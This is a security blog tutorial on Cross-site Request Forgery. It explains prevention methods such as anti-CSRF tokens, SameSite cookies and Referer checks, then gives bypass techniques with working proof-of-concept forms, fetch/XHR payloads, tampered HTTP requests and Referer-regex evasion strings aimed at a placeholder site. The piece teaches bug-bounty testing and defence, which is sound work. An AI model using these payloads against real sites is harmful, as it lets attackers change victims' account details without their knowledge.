0

How to bypass CSRF protection like a pro

In this blog, we will explore Cross-site Request Forgery vulnerability - understanding what CSRF is, discussing popular prevention methodologies & common mistakes in implementing these protections, and exploring techniques for bypassing CSRF protection mechanisms.
CSRF Vulnerability Cross-site Request Forgery
Tuhin Bose
December 5th 2023.
How to bypass CSRF protection like a pro

Bypassing CSRF Protection Like a Pro

Hey everyone! My name is Tuhin Bose, currently working as a Security Engineer at BugBase. In this blog, we are going to explore Cross-site Request Forgery vulnerability - understanding what CSRF is, discussing popular prevention methodologies & common mistakes in implementing these protections, and exploring techniques for bypassing CSRF protection mechanisms.

Introduction

Before directly jumping into the blog, let's understand what is CSRF. Imagine you're browsing a social media website and there is an email update feature. When you enter your new email and click on the update button, the following request is going to be sent from your browser to the server:

1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com 9

Now once the server receives your request, it'll identify you based on your cookies and update the email associated with your account.

Now what if someone managed to send the above request from your browser without your knowledge? This can be done by sending a URL to the victim and tricking them to click on it. To be more clear, the attacker can host the following HTML file in his server and send the URL to the victim:

1<html> 2<body> 3<form action="https://socialmedia.com/update-email" method="POST"> 4<input type="hidden" name="email" value="mynewemail&#64;gmail&#46;com" /> 5<input type="submit" value="Submit request" /> 6</form> 7<script> 8document.forms[0].submit(); 9</script> 10</body> 11</html> 12

Point to be noted that your browser will automatically send the cookies to any request sent to socialmedia.com (unless SameSite is set to strict or lax). So, the server receives the request and updates the email associated with your account without your knowledge.

This is called Cross-site Request Forgery where the attacker sends a request from the victim's browser to perform unintended actions (in the above scenario, changing the victim's email address without their knowledge) on behalf of the victim.

Prevention Methodologies

Now there are multiple ways to prevent CSRF. One of the most popular ways is to use an anti-CSRF token (a unique, unpredictable token for each session in every form or request that modifies state). Once the server receives a state-changing request, it'll check for the anti-CSRF token and verify it on the server side before processing the request. The token must be tied to the user's session.

Another popular approach is to use the SameSite cookie attribute which will prevent the browser from sending this cookie along with cross-site requests. For example,

1Set-Cookie: user_token=1s4gty589tyq; SameSite=Strict; 2

SameSite can have 3 possible values - none, lax, or strict.
The none value won't give any kind of protection. It's just like a normal cookie without any attributes.

If the SameSite is set to lax, the browser will send the cookie in cross-site requests, but only if the request uses the GET method and the request results from a top-level navigation by the user, such as clicking on a link. So, the cookies won't be included in cross-site POST requests and since POST requests are generally used to perform state-changing requests, it'll provide some sort of protection against CSRF attacks.

Lastly, If the SameSite is set to strict, it means that the browser will not send the cookie in any cross-site requests. Although this is the most secure option, this can break the site in some cases where cross-site requests might be required.

There are many other ways to protect against CSRF such as using JSON/XML body in requests, using HTTP methods other than GET/POST such as PUT/DELETE, ensuring presence of a custom header in requests, etc. However, all of the above techniques require proper CORS configuration to ensure protection against CSRF.

Bypassing CSRF Protection

Now as we know the popular techniques used by the developers to prevent CSRF attacks, let's discuss what common mistakes developers make while implementing these CSRF prevention techniques. We'll choose all the prevention methodologies one by one and discuss the possible ways of bypassing the protection.

i. Using Anti-CSRF Token

We already discussed how these anti-CSRF token works. Now let's see what kind of mistakes the developers can make while implementing this:

  • Sometimes developers only verify the anti-CSRF token, if it is present in the body. However, if the anti-CSRF token doesn't exist in the body, the server simply accepts the request. In such cases, we can simply remove the entire anti-CSRF token (or just the value) to bypass CSRF protection. For example,

Original Request

1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r4y 9

Modified Request #1 - Removing entire anti-CSRF token

1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com 9

Modified Request #2 - Removing just the value

1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token= 9
  • Sometimes it's possible to bypass the CSRF protection by just serving another anti-CSRF token with the same length. For example,

Original Request

1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r4y 9

Modified Request - Using another anti-CSRF token with the same length

1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r6y 9

Observe that, the second last digit of the anti-CSRF token is different.

  • Sometimes, developers forget to tie the anti-CSRF token with the user's session. Instead, they maintain a global pool of tokens that are generated and issued to the users who are currently logged in to the site. If a request is received, the application will simply check whether the anti-CSRF token, present in the request body, exists in the pool or not.
    In these cases, an attacker can simply use their anti-CSRF token to generate the CSRF POC.

  • Sometimes developers only implement anti-CSRF token validation for POST requests. However, they forget to implement the validation when the GET method is used.
    In such cases, it might be possible to convert the request from POST to GET and remove the token to bypass CSRF protection. For example,

Original Request

1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r4y 9

Modified Request - Changing from POST to GET

1GET /update-email?email=mynewemail%40gmail.com HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 5Referer: https://socialmedia.com 6

However, this will only work if the application is configured to handle both POST and GET parameters.

  • Sometimes, developers do not store any record of anti-CSRF tokens on the server side. Instead, they return the actual token as a cookie and compare the anti-CSRF token submitted in the request body with the one present in the cookie. Since cookies are stored on the browser, it's not easy to manipulate the anti-CSRF token present in the cookie. This technique is known as Double-Submit Cookies.
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq; token=p37w3e44r5e3dqd3838uh1r4y 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r4y 9

This method is quite secure; however, if the application contains any other vulnerabilities (such as XSS, CRLF Injection, etc.) that allow attackers to set a cookie on the victim's browser, the CSRF protection can be bypassed by setting a new token in the cookie and using that token in the CSRF POC.

  • Sometimes, although developers implement the CSRF prevention correctly, there might be some other vulnerabilities (such as XSS/CORS Misconfiguration) that may allow an attacker to steal the anti-CSRF token from the victim.

ii. Using SameSite Attribute

If the SameSite is set to strict, it's nearly impossible to perform CSRF attacks (unless some other vulnerabilities are present). However, if the SameSite is set to lax, there are couple of ways to perform CSRF attack. For example, if the application is configured to handle both POST and GET parameters, we can simply use the following CSRF POC to perform CSRF attack:

1<script> 2document.location="https://socialmedia.com/update-email?email=mynewemail%40gmail.com"; 3</script> 4

PortSwigger has a great blog on SameSite attribute and bypassing SameSite cookie restriction. Make sure to read them for more information about SameSite.

iii. Using JSON Body

Instead of Form Data or Multipart Form Data, some applications use JSON to send data to the server. However, the browser allows only Form Data and Multipart Form Data to be sent in cross-origin requests (unless allowed by CORS).

There are two ways to perform CSRF attack in these cases.

  • In case, the CORS is misconfigured, we may able to perform a CSRF attack. We just need to make sure that the following headers are present in the response:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type

Let's understand each header one-by-one:

Access-Control-Allow-Origin specifies which origins are permitted to access the resource.
Access-Control-Allow-Credentials should be set to true if the request requires credentials (like cookies). Otherwise, credentials will not be sent with the request.
Access-Control-Allow-Methods indicates the HTTP methods that are allowed when accessing the resource.
Access-Control-Allow-Headers specifies which HTTP headers can be used during the actual request.

Note: If both Access-Control-Allow-Origin is set to * and Access-control-allow-credentials is set to true, the CSRF attack won't be possible since modern browsers will simply ignore it. If Access-control-allow-origin is set to * then the browser won't allow submitting of credentials (cookies) with the request.

So, if all the above headers are present, we can simply use any of the following CSRF
POC:

POC #1 - Using XMLHttpRequest

1<script> 2var xhr = new XMLHttpRequest(); 3xhr.open("POST", "https://socialmedia.com/update-email"); 4xhr.withCredentials = true; 5xhr.setRequestHeader("Content-Type", "application/json"); 6xhr.send('{"email":"[email protected]"}'); 7</script> 8

POC #2 - Using fetch

1<html> 2<title>JSON CSRF POC</title> 3<body> 4<center> 5<script> 6fetch('https://socialmedia.com/update-email', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body:'{"email": "[email protected]"}'}); 7</script> 8</center> 9</body> 10</html> 11
  • If the CORS is properly configured, we aren't allowed to send JSON data in cross-site requests (because of the restriction of the application/json value in Content-Type). However, if the following request (observe the Content-Type) is considered valid by the server, we can perform the CSRF attack:
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 5Content-Type: text/plain 6Content-Length: 36 7Origin: https://socialmedia.com 8Referer: https://socialmedia.com 9 10{"email": "[email protected]"} 11

We can simply use the following CSRF POC to generate the above request from the victim's browser:

1<html> 2<body> 3<form action="https://socialmedia.com/update-email" method="POST" enctype="text/plain" id='myForm'> 4<input type="hidden" name='{"email": "[email protected]","a":"' value='a"}'> 5</form> 6<script> 7document.addEventListener('DOMContentLoaded', function(event) { 8document.createElement('form').submit.call(document.getElementById('myForm')); 9}); 10</script> 11</body> 12</html> 13

This will just add an extra parameter to the request body. The final request body will look like:

1{"email": "[email protected]","a":"=a"} 2

iv. Using HTTP methods other than GET/POST

Instead of traditional HTTP methods such as GET/POST, Rest APIs use the PUT method to update or create a resource and the DELETE method to remove a resource on the server. Again due to CORS, you're not allowed to send cross-site requests that use any HTTP methods other than GET/POST/OPTIONS. If there is no CORS misconfiguration, we can try using _method parameter to override the existing method. For example,

Original Request

1PUT /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com 9

Modified Request - Changing from PUT to POST

1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Content-Length: 40 6Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 7Referer: https://socialmedia.com 8 9email=mynewemail%40gmail.com&_method=PUT 10

v. Custom Header in Request

Sometimes, the application requires a custom header to be present in the request to process the request. For example, instead of using cookies, the application may use the Authorization header for handling the user session. Another example would be passing the anti-CSRF token in the header instead of passing it in the body. In such cases, even if CORS allows us to send these headers, it's difficult to find out the value of the header. One approach can be finding another vulnerability (such as XSS) that will allow us to steal the required value.

Otherwise, we can simply remove the entire header (unless the header is responsible for the session) and try generating the CSRF POC.

vi. Bypassing Referrer Check

Some applications use the HTTP Referer header to protect against CSRF attacks by verifying whether the request originated from the application's domain or not. In these cases, we can try any of the following:

  • We can try removing the Referer header by adding the following line in our CSRF POC:
1<meta name="referrer" content="never"> 2
  • If the application validates the Referer header using some kind of regex, we can try to bypass the regex. For example, we can set any of the following as Referer:
1https://attacker.com?target.com 2https://attacker.com;target.com 3https://attacker.com/target.com/../targetPATH 4https://target.com.attacker.com 5https://attackertarget.com 6https://[email protected] 7https://attacker.com#target.com 8https://attacker.com\.target.com 9https://attacker.com/.target.com 10

References

[1] Bug Bounty Methodology: https://github.com/tuhin1729/Bug-Bounty-Methodology/blob/main/CSRF.md
[2] HackTricks: https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery

Table of Contents

  • Bypassing CSRF Protection Like a Pro

Let's take your security
to the next level

security